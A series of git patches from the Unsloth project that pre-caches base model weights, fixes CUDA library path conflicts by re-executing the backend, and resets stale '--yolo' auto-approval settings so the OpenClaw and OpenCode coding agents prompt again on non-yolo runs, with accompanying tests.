+                shard_names.append((os.path.split(x["name"])[-1], int(x.get("size") or 0)))
+        if any(name != "consolidated.safetensors" for name, _ in shard_names):
+            shard_names = [x for x in shard_names if x[0] != "consolidated.safetensors"]
+        if not shard_names:
+            return
+
+        try:
+            for filename, _ in shard_names:
+                hf_hub_download(
+                    repo_id = model_name,
+                    filename = filename,
+                    cache_dir = hub_cache_dir,
+                    local_files_only = True,
+                    token = token,
+                )
+            return  # already fully cached
+        except Exception:
+            pass
+
+        # Mirror the merge's index filter (download path only): some repos ship leftover shards
+        # the index omits; keep only indexed ones, else the disk gate over-counts and we fetch
+        # unused shards.
+        if len(shard_names) > 1:
+            try:
+                import json as _json
+
+                _idx = hf_hub_download(
+                    repo_id = model_name,
+                    filename = "model.safetensors.index.json",
+                    cache_dir = hub_cache_dir,
+                    token = token,
+                )
+                with open(_idx, encoding = "utf-8") as _f:
+                    _indexed = {
+                        os.path.split(v)[-1] for v in _json.load(_f).get("weight_map", {}).values()
+                    }
+                if _indexed and not {n for n, _ in shard_names}.issubset(_indexed):
+                    _kept = [x for x in shard_names if x[0] in _indexed]
+                    if _kept:
+                        shard_names = _kept
+            except Exception:
+                pass
+        total_size_in_bytes = sum(size for _, size in shard_names)
+
+        # The cache copy is extra disk on top of the merge working copy; need room for both.
+        from huggingface_hub import constants as _hf_constants
+
+        # abspath so a relative HF_HUB_CACHE walks up to an existing root, not "".
+        cache_probe = os.path.abspath(
+            os.path.expanduser(str(hub_cache_dir or _hf_constants.HF_HUB_CACHE))
+        )
+        while cache_probe and not os.path.exists(cache_probe):
+            parent = os.path.dirname(cache_probe)
+            if parent == cache_probe:
+                break
+            cache_probe = parent
+        free_space = shutil.disk_usage(cache_probe).free if os.path.exists(cache_probe) else 0
+        if free_space < 2 * total_size_in_bytes:
+            print(
+                f"Unsloth: Not enough free disk to keep `{model_name}` in the Hugging Face "
+                f"cache (need ~{round(2 * total_size_in_bytes / 1024**3, 1)}GB free, have "
+                f"{round(free_space / 1024**3, 1)}GB). Downloading straight to the merge "
+                f"directory instead; the next export will re-download it."
+            )
+            return
+
+        if total_size_in_bytes >= 0.1 * 1024**3:
+            size_str = f"{round(total_size_in_bytes / 1024**3, 1)}GB"
+        else:
+            size_str = f"{max(1, round(total_size_in_bytes / 1024**2))}MB"
+        print(
+            f"Unsloth: Downloading `{model_name}` into the Hugging Face cache so future "
+            f"exports skip the {size_str} download..."
+        )
+        snapshot_download(
+            repo_id = model_name,
+            allow_patterns = [name for name, _ in shard_names]
+            + ["model.safetensors.index.json", "tokenizer.model"],
+            cache_dir = hub_cache_dir,
+            token = token,
+        )
+    except Exception as e:
+        print(
+            f"Unsloth: Could not pre-cache the base model weights ({e}). "
+            f"Falling back to downloading into the merge directory."
+        )
+
+
 @torch.inference_mode
 def save_to_gguf_generic(
     model,
@@ -3888,6 +4064,7 @@ def unsloth_generic_save(
 
         print(f"Unsloth: Model saved successfully to '{save_directory}'")
     else:
+        _prewarm_base_model_hub_cache(model, save_method = save_method, token = token)
         merge_and_overwrite_lora(
             get_model_name,
             model = model,

From 08226c2475e81a2c46336787f60d20a47e47ccea Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 23:48:23 -0700
Subject: [PATCH 228/306] Studio: fix torch CUDA undefined-symbol errors from a
 conflicting LD_LIBRARY_PATH (#6905)

* Studio: re-exec to prepend torch's bundled CUDA libs to LD_LIBRARY_PATH

On Linux the dynamic linker reads LD_LIBRARY_PATH before the RUNPATH baked into
torch's .so files, so a pre-existing LD_LIBRARY_PATH pointing at a system CUDA
(conda, a Docker base image, /usr/local/cuda-*/lib64) shadows torch's bundled
nvidia/*/lib libraries and causes undefined-symbol errors when the Studio backend
imports torch. Detect torch's lib dirs without importing torch, prepend them to
LD_LIBRARY_PATH, and re-exec once (LD_LIBRARY_PATH is only read at process start).
Linux-only, sentinel-guarded against re-exec loops, and called only from run.py's
__main__ so library/embedder imports (e.g. Colab's `from run import run_server`)
are never re-exec'd.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/run.py | 79 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/studio/backend/run.py b/studio/backend/run.py
index ccd0113972..2cc6c4a93e 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -12,6 +12,79 @@ import time
 from pathlib import Path
 from typing import Optional
 
+
+def _fix_torch_cuda_ld_path():
+    """Prepend torch's bundled CUDA libs to LD_LIBRARY_PATH.
+
+    PyTorch wheels ship their own CUDA runtime (libcudart, libcublas, ...) in
+    ``site-packages/nvidia/*/lib``. On Linux the dynamic linker reads
+    LD_LIBRARY_PATH before the RUNPATH baked into torch's .so files, so a
+    pre-existing LD_LIBRARY_PATH pointing at a different system CUDA (e.g.
+    /usr/local/cuda-13/lib64 from conda or a Docker base image) shadows torch's
+    libs and triggers "undefined symbol" errors when torch is imported. Detect
+    torch's lib dirs (without importing torch) and prepend them. Returns True if
+    LD_LIBRARY_PATH was changed.
+    """
+    if sys.platform != "linux":
+        return False
+    ld_path = os.environ.get("LD_LIBRARY_PATH", "")
+    if not ld_path:
+        return False
+    try:
+        import importlib.util
+
+        spec = importlib.util.find_spec("torch")
+        if not spec or not spec.origin:
+            return False
+        torch_dir = os.path.dirname(spec.origin)
+        site_pkgs = os.path.dirname(torch_dir)
+        nvidia_dir = os.path.join(site_pkgs, "nvidia")
+
+        lib_dirs = []
+        torch_lib = os.path.join(torch_dir, "lib")
+        if os.path.isdir(torch_lib):
+            lib_dirs.append(torch_lib)
+        if os.path.isdir(nvidia_dir):
+            for sub in sorted(os.listdir(nvidia_dir)):
+                lib = os.path.join(nvidia_dir, sub, "lib")
+                if os.path.isdir(lib):
+                    lib_dirs.append(lib)
+        if not lib_dirs:
+            return False
+
+        existing = ld_path.split(":")
+        if existing[: len(lib_dirs)] == lib_dirs:
+            return False  # already at the front, nothing to do
+
+        torch_set = set(lib_dirs)
+        cleaned = [p for p in existing if p not in torch_set]
+        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs + cleaned)
+        return True
+    except Exception:
+        return False
+
+
+_LD_FIXED_SENTINEL = "_UNSLOTH_STUDIO_LD_FIXED"
+
+
+def _maybe_reexec_for_cuda_ld_path():
+    """Re-exec once so the dynamic linker sees the corrected LD_LIBRARY_PATH.
+
+    LD_LIBRARY_PATH is read at process start, so editing os.environ in-process
+    cannot fix the running interpreter; a single re-exec is required. Call only
+    from a true entry point (the ``if __name__ == "__main__"`` block), never at
+    import time, because os.execv replaces the whole process (an embedder such
+    as Colab that does ``from run import run_server`` must not be re-exec'd).
+    """
+    if _LD_FIXED_SENTINEL in os.environ:
+        return
+    if not _fix_torch_cuda_ld_path():
+        return
+    os.environ[_LD_FIXED_SENTINEL] = "1"
+    argv = getattr(sys, "orig_argv", None) or [sys.executable, *sys.argv]
+    os.execv(sys.executable, argv)
+
+
 # Suppress C-level dependency warnings globally (e.g. SwigPyPacked).
 os.environ["PYTHONWARNINGS"] = "ignore"
 
@@ -1457,6 +1530,12 @@ def _build_arg_parser():
 
 # For direct execution (also invoked by CLI via os.execvp / subprocess).
 if __name__ == "__main__":
+    # Correct a conflicting system CUDA on LD_LIBRARY_PATH before torch is
+    # imported (below, via run_server). Re-execs once on Linux so the dynamic
+    # linker uses torch's bundled CUDA libs; no-op on other platforms, when
+    # LD_LIBRARY_PATH is unset or already correct, or after the single re-exec.
+    _maybe_reexec_for_cuda_ld_path()
+
     import signal
     import traceback
 

From 69f8e0b228200ea8e748b5c3a118eef71f441168 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 00:06:48 -0700
Subject: [PATCH 229/306] Clear stale yolo approval state on no-launch reruns
 (#6868)

* Clear stale yolo approval state on no-launch reruns

The no-launch session config dir is deliberately reused across runs, but
the config writers only ever added the --yolo auto-approval settings and
never removed them. After one --yolo --no-launch run, every later run
without --yolo kept OpenClaw's tools.exec security=full/ask=off policy
plus exec-approvals.json, and OpenCode's permission allow block, so tool
execution stayed silently pre-approved.

Non-yolo runs now reset that state: OpenClaw drops the exec policy keys
and the yolo defaults in exec-approvals.json (approvals OpenClaw itself
recorded are kept; the file is removed when only the yolo payload is
left), and OpenCode drops the permission block. Launch mode is untouched
since it already uses an ephemeral temp dir.

* Strip only yolo-written values on non-yolo cleanup

Match each field against the exact value the yolo path writes before
removing it, so a stricter exec policy, approvals defaults set by the
user or the OpenClaw UI, and deny/ask OpenCode permission entries all
survive a plain no-launch rerun. An unparseable exec-approvals.json is
left in place, matching how an unparseable config is handled.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Write a prompting policy on non-yolo instead of deleting to a permissive default

OpenClaw and OpenCode both treat an omitted policy as permissive: OpenClaw's
effective exec policy for an unset tools.exec is security=full/ask=off on the
gateway host, and OpenCode defaults an unset permission to allow. So clearing
the yolo values on a non-yolo run did not restore prompting, it fell back to
those permissive defaults and left tool execution auto-approved.

A non-yolo run now writes an explicit prompting policy: OpenClaw gets
security=allowlist/ask=on-miss (verified to prompt even with the approvals file
removed, since the stricter of config and approvals wins), and OpenCode gets
edit/bash/webfetch=ask. Only a permissive/yolo value is tightened; a stricter
deny (or an ask the user set) is preserved, and the yolo approvals defaults are
still stripped. The file-edit CI path opts opencode/openclaw into --yolo, since
those agents now prompt by default and the headless test needs auto-approval.

* Respect existing exec mode, sandbox/node host, and global permission rules on non-yolo reset

The non-yolo reset for openclaw/opencode assumed an omitted policy was the
permissive yolo default and rewrote it, which corrupted or weakened stricter
setups it should have preserved:

- OpenClaw tools.exec.mode is the normalized policy knob and cannot be combined
  with explicit security/ask (OpenClaw rejects the whole config), so writing
  security+ask alongside a mode:deny/ask policy both broke the config and
  relaxed it. Leave a mode-based policy untouched.
- host=sandbox defaults to security=deny and host=node routes to a paired node;
  neither is written by --yolo (which only writes host=gateway). Treating the
  missing security as full and popping host broadened those into gateway/auto
  exec. Only rewrite a gateway-routed permissive policy, and never pop a
  non-gateway host.
- OpenCode permission can be a string ("deny") or a {"*": ...} catch-all.
  The old code dropped a string form and overrode a catch-all by writing
  per-tool ask, weakening a stricter user rule. Now a string is left in place,
  a catch-all governs absent tools, and only an effective allow is tightened.
- The non-yolo ask policy only lived in OPENCODE_CONFIG, which loads below
  project opencode.json, so a project config allowing edit/bash/webfetch still
  auto-approved. Carry the ask policy in OPENCODE_CONFIG_CONTENT (above project
  config) too, symmetric to how yolo carries its allow.

Also harden the openclaw path against a malformed non-dict tools value.

Adds tests for mode/sandbox/node hosts, string and catch-all permissions, and
the inline ask policy over a project config.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope non-yolo resets to the exact yolo fingerprint and preserve granular denies

OpenClaw: reset only the exact host=gateway/security=full/ask=off policy --yolo
writes, so an omitted or host=auto/sandbox/node policy (which can resolve to a
sandbox security=deny default) is no longer broadened to allowlist/on-miss, and a
deliberate tools.exec.mode is left alone (OpenClaw never migrates our security/ask
write into a mode).

OpenCode: carry a granular object or a deny inline verbatim so a per-tool user rule
is not collapsed to a blanket ask, but floor any object that grants allow anywhere to
the string ask (which fully replaces a project object) so no inline allow pattern can
leak through into a silent auto-approve on a non-yolo session.

* Stop overriding project config on non-yolo; require full approvals fingerprint

The non-yolo OpenCode reset carried a session permission in
OPENCODE_CONFIG_CONTENT, which outranks the project opencode.json we
cannot read. That inline override could not correctly reflect the project:
it weakened a project deny to a prompt, mishandled global string rules,
leaked through a granular object's permissive default when no catch-all
was present, collapsed an object with an allow (losing its deny), and
missed per-agent permissions. All of these stem from forcing a value over
an unknown project config.

A non-yolo run now only undoes what --yolo wrote: it flips our own
explicit per-tool allow back to ask in our config file and carries no
permission inline, so the project's own permissions are honored as
written. Clearing our persisted yolo state is the actual fix; --yolo still
carries its allow inline so it works over a project config.

OpenClaw approvals cleanup now strips the yolo defaults only when the full
fingerprint (security=full, ask=off, askFallback=full) is present, so a
mixed user policy that merely shares askFallback=full (whose omitted
default is deny) is kept intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/scripts/agent-guides-drive.sh |  12 +-
 unsloth_cli/commands/start.py         | 102 +++++++--
 unsloth_cli/tests/test_start.py       | 293 +++++++++++++++++++++++++-
 3 files changed, 389 insertions(+), 18 deletions(-)

diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 9b85b20177..d430d2c172 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -154,7 +154,12 @@ raw_env() {  # $1 = var name -> value (one shlex-quote layer stripped)
 # writers as a side effect (it writes each agent's relocated session config).
 parse_connect() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
-  if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+  # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
+  # config (which now prompts by default), so the file-edit test opts into auto-approval
+  # here, the same intent as claude/codex's per-call bypass flags.
+  local yolo=()
+  [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
+  if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
     cat_redacted "$raw"
     guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
   fi
@@ -394,7 +399,10 @@ case "$MODE" in
     T2='Run hello.py with python and show me the exact output.'
 
     # The start.py recipe writers + crosscheck must see the repo; run them
-    # from the repo root BEFORE cd-ing into the scratch work dir.
+    # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
+    # gate tool approval through their config (prompting by default), so file-edit
+    # opts them into auto-approval to run edits/commands headlessly.
+    case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
     parse_connect
     crosscheck_contract
     # File-edit needs real tools, so we cannot zero them as in connection.
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index b188180188..1895125b11 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -983,7 +983,9 @@ def _session_config(agent: str, launch: bool):
     else:
         # Never wipe this dir: a previously printed recipe may still be running
         # an agent whose sessions/state live here, and every config writer
-        # merges idempotently into an existing home anyway.
+        # merges idempotently into an existing home anyway. Writers must also
+        # reset any state a previous run's flags left behind (--yolo especially),
+        # since files here outlive the invocation that wrote them.
         path = _agents_config_root() / agent
         path.mkdir(parents = True, exist_ok = True, mode = 0o700)
         yield path
@@ -1043,6 +1045,62 @@ def write_openclaw_config(
             {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}},
         )
         typer.echo(f"Updated {approvals}")
+    else:
+        # The no-launch config dir is reused across runs, so a previous --yolo run may
+        # have left auto-approval state behind. OpenClaw treats an omitted exec policy as
+        # security=full, ask=off on the gateway host, so deleting the keys would keep
+        # auto-approval on: a non-yolo run must WRITE a prompting policy. Only a
+        # permissive/yolo policy is replaced; a stricter one set by hand survives.
+        tools = config.get("tools")
+        exec_policy = tools.get("exec") if isinstance(tools, dict) else None
+        exec_policy = exec_policy if isinstance(exec_policy, dict) else {}
+        # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full,
+        # ask=off, all explicit, no mode); anything else is left untouched. host=auto or an
+        # omitted host resolves to security=deny under an active sandbox, so treating those
+        # as the permissive gateway default would broaden a fresh sandboxed config from
+        # deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes
+        # gateway). tools.exec.mode is OpenClaw's normalized knob (it cannot be combined
+        # with security/ask, and OpenClaw never rewrites our security/ask write into it),
+        # so a mode is always a deliberate user policy; never clobber it.
+        permissive = (
+            "mode" not in exec_policy
+            and exec_policy.get("host") == "gateway"
+            and exec_policy.get("security") == "full"
+            and exec_policy.get("ask") == "off"
+        )
+        if permissive:
+            exec_policy = _subdict(_subdict(config, "tools"), "exec")
+            exec_policy.pop("host", None)  # routing only; defaults to the gateway host
+            exec_policy["security"] = "allowlist"  # only allowlisted commands skip approval
+            exec_policy["ask"] = "on-miss"  # prompt on every non-allowlisted command
+        # Drop the yolo defaults from the host approvals file (a stricter default set by
+        # the user or OpenClaw is kept). With a prompting tools.exec the stricter of the
+        # two layers wins, so an omitted approvals default still prompts.
+        approvals = path.parent / "exec-approvals.json"
+        if approvals.exists():
+            state = _read_json_object(approvals)
+            if state is not None:
+                defaults = state.get("defaults")
+                # Strip the defaults only when they are exactly the yolo fingerprint; a
+                # user-managed mixed policy that merely shares a field (e.g. askFallback=full,
+                # whose omitted default is deny) must be kept intact.
+                yolo_defaults = (("security", "full"), ("ask", "off"), ("askFallback", "full"))
+                is_yolo = isinstance(defaults, dict) and all(
+                    defaults.get(k) == v for k, v in yolo_defaults
+                )
+                if is_yolo:
+                    for k, _ in yolo_defaults:
+                        del defaults[k]
+                    if not defaults:
+                        del state["defaults"]
+                    if set(state) <= {"version"}:
+                        # Nothing left but our own yolo payload: remove it.
+                        approvals.unlink()
+                        typer.echo(f"Removed {approvals}")
+                    else:
+                        # Keep approvals OpenClaw itself recorded; only the yolo defaults go.
+                        _write_private_json(approvals, state)
+                        typer.echo(f"Updated {approvals}")
     if json.dumps(config, sort_keys = True) != before:
         _write_private_json(path, config)
         typer.echo(f"Updated {path}")
@@ -1054,7 +1112,7 @@ def write_opencode_config(
     model: dict,
     path: Path,
     yolo: bool = False,
-) -> None:
+) -> dict:
     config = _read_json_object(path)
     if config is None:
         typer.echo(
@@ -1062,7 +1120,7 @@ def write_opencode_config(
             "yourself, or move the file aside and re-run.",
             err = True,
         )
-        return
+        return {}
     before = json.dumps(config, sort_keys = True)
     config.setdefault("$schema", "https://opencode.ai/config.json")
     model_entry = {"name": model["id"]}
@@ -1087,13 +1145,32 @@ def write_opencode_config(
         compaction = _subdict(config, "compaction")
         compaction["auto"] = True
         compaction["reserved"] = max(1, window // 10)
+    tools = ("edit", "bash", "webfetch")
     if yolo:
         # OpenCode has no --yolo flag; auto-approve is the config `permission` block
-        # (singular). Allow the prompting tools so tool calls don't block on the TUI.
-        config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+        # (singular). Allow the prompting tools so tool calls don't block on the TUI. This
+        # rides inline (OPENCODE_CONFIG_CONTENT) so --yolo works even over a project config.
+        session_permission = {t: "allow" for t in tools}
+        config["permission"] = dict(session_permission)
+    else:
+        # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these
+        # three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask",
+        # a granular object, a string, or a "*" catch-all is the user's own rule and is left
+        # untouched. We do NOT carry a permission inline for a non-yolo session: since
+        # OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any
+        # value forced there would override the user's project rules (weakening a project
+        # deny, or auto-approving through a granular object's permissive default). Clearing
+        # our own persisted yolo state is the fix; the project's own permissions are honored.
+        session_permission: dict = {}
+        permission = config.get("permission")
+        if isinstance(permission, dict):
+            for tool in tools:
+                if permission.get(tool) == "allow":
+                    permission[tool] = "ask"
     if json.dumps(config, sort_keys = True) != before:
         _write_private_json(path, config)
         typer.echo(f"Updated {path}")
+    return session_permission
 
 
 def write_hermes_config(base: str, model: dict, path: Path) -> None:
@@ -1379,14 +1456,15 @@ def opencode(
         # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
         # configs), so this adds the Unsloth provider/model for the session without
         # changing the user's default model. Key lives in the config, not the env.
-        write_opencode_config(base, key, entry, config_path, yolo = yolo)
-        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model
-        # pin (and --yolo permissions) would silently lose to a repo config. Carry the
-        # settings that must win in OPENCODE_CONFIG_CONTENT, which outranks project
-        # config; the API key stays in the private file, never in the printed env.
+        session_permission = write_opencode_config(base, key, entry, config_path, yolo = yolo)
+        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model pin
+        # would silently lose to a repo config. Carry it in OPENCODE_CONFIG_CONTENT, which
+        # outranks project config; the API key stays in the private file, never the env.
+        # Only --yolo carries a permission here (its allow must win over a project config);
+        # a non-yolo session returns no permission, so the project's own rules are honored.
         inline_config: dict = {"model": f"unsloth/{entry['id']}"}
-        if yolo:
-            inline_config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+        if session_permission:
+            inline_config["permission"] = session_permission
         env = {
             "OPENCODE_CONFIG": str(config_path),
             "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config),
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index a6a092a17c..affc24626e 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -446,7 +446,10 @@ def test_opencode_inline_config_beats_project_config(fake_studio):
     assert "sk-unsloth" not in content_line  # key stays in the private file
 
 
-def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio):
+def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
+    # A non-yolo session carries no permission inline. OPENCODE_CONFIG_CONTENT outranks the
+    # project opencode.json we cannot read, so forcing any value there would override the
+    # user's project rules; clearing our own config is the fix, and the inline pins the model.
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
     content_line = next(
@@ -455,7 +458,8 @@ def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio):
     inline = json.loads(
         shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
     )
-    assert inline == {"model": f"unsloth/{MODEL['id']}"}
+    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    assert "permission" not in inline
 
 
 def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
@@ -1676,9 +1680,31 @@ def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
     config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    # A non-yolo run on a fresh config writes no permission block; it only flips a prior
+    # --yolo run's explicit allow back to ask (see the yolo-then-plain test below).
     assert "permission" not in config
 
 
+def test_no_yolo_opencode_flips_prior_yolo_allow_to_ask(fake_studio, tmp_path):
+    # The core reset: a --yolo run wrote explicit per-tool allow; a later non-yolo run
+    # must flip exactly those back to ask so nothing stays auto-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+    }
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+    }
+
+
 def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
     assert result.exit_code == 0, result.output
@@ -1691,12 +1717,17 @@ def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
     assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"}
 
 
-def test_no_yolo_openclaw_has_no_exec_policy(fake_studio, tmp_path):
+def test_no_yolo_openclaw_leaves_fresh_config_untouched(fake_studio, tmp_path):
+    # A fresh non-yolo run only undoes state a prior --yolo wrote; with no yolo
+    # fingerprint present it must not synthesize an exec policy. An omitted policy can
+    # resolve to a sandbox default of security=deny, so writing allowlist here would
+    # BROADEN it. The reset is scoped to the exact yolo write, verified by the
+    # yolo-then-plain round trip below.
     result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
     assert result.exit_code == 0, result.output
     state = tmp_path / "agents" / "openclaw"
     config = json.loads((state / "openclaw.json").read_text())
-    assert "exec" not in config.get("tools", {})  # no auto-approve policy without --yolo
+    assert "exec" not in config.get("tools", {})
     assert not (state / "exec-approvals.json").exists()
 
 
@@ -1719,6 +1750,260 @@ def test_write_openclaw_config_yolo_unit(tmp_path):
     }
 
 
+def test_no_launch_rerun_clears_stale_opencode_yolo_permissions(fake_studio, tmp_path):
+    # The no-launch config dir is reused across runs, so a --yolo run persists its
+    # auto-approve settings; a later run without --yolo must strip them, not leave
+    # tool execution silently pre-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert "permission" in json.loads(config_path.read_text())
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads(config_path.read_text())
+    # The yolo allow policy is replaced by a prompting one, not deleted (which would
+    # revert to OpenCode's permissive "allow" default).
+    assert config["permission"] == {"edit": "ask", "bash": "ask", "webfetch": "ask"}
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["provider"]
+
+
+def test_no_launch_rerun_clears_stale_openclaw_yolo_state(fake_studio, tmp_path):
+    yolo = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    state = tmp_path / "agents" / "openclaw"
+    assert (state / "exec-approvals.json").exists()
+    plain = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads((state / "openclaw.json").read_text())
+    # The yolo policy is replaced by a prompting one, not deleted (which would revert
+    # to OpenClaw's permissive default), and the yolo approvals file is gone.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (state / "exec-approvals.json").exists()
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["models"]["providers"]
+
+
+def test_write_openclaw_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo policy with a prompting one (deleting it would
+    # fall back to OpenClaw's permissive default) and removes the yolo approvals file.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo allow policy with a prompting one.
+    assert config["permission"] == {"edit": "ask", "bash": "ask", "webfetch": "ask"}
+
+
+def test_openclaw_non_yolo_keeps_runtime_approvals(tmp_path):
+    # OpenClaw records its own entries in exec-approvals.json (OPENCLAW_STATE_DIR is
+    # this dir); the non-yolo reset drops only the yolo defaults, not those.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    approvals = path.parent / "exec-approvals.json"
+    state = json.loads(approvals.read_text())
+    state["agents"] = {"main": {"allowlist": ["git status"]}}
+    approvals.write_text(json.dumps(state))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    remaining = json.loads(approvals.read_text())
+    assert "defaults" not in remaining
+    assert remaining["agents"] == {"main": {"allowlist": ["git status"]}}
+
+
+def test_openclaw_non_yolo_keeps_mixed_approval_defaults(tmp_path):
+    # A mixed user-managed defaults block that only shares a field with the yolo payload
+    # (here askFallback=full, whose omitted default is deny) is not stale yolo state, so a
+    # non-yolo run leaves it intact rather than stripping the shared field.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    mixed = {
+        "version": 1,
+        "defaults": {"security": "allowlist", "ask": "on-miss", "askFallback": "full"},
+    }
+    approvals.write_text(json.dumps(mixed))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(approvals.read_text()) == mixed
+
+
+def test_openclaw_non_yolo_leaves_partial_policy_untouched(tmp_path):
+    # A policy that lacks the full yolo fingerprint (here no host and no security) is not
+    # our --yolo write, so a non-yolo run leaves it as-is rather than assuming ask=off
+    # means permissive: an omitted host/security can resolve to a sandbox deny default.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"timeout": 30, "ask": "off"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"timeout": 30, "ask": "off"}
+
+
+def test_openclaw_non_yolo_leaves_no_permissive_values(tmp_path):
+    # The whole point of the reset: after a yolo run, a plain run must leave neither the
+    # config nor the approvals file at OpenClaw's permissive (security=full, ask=off)
+    # default, or exec still auto-approves.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    exec_policy = json.loads(path.read_text())["tools"]["exec"]
+    assert exec_policy.get("security") != "full"
+    assert exec_policy.get("ask") != "off"
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
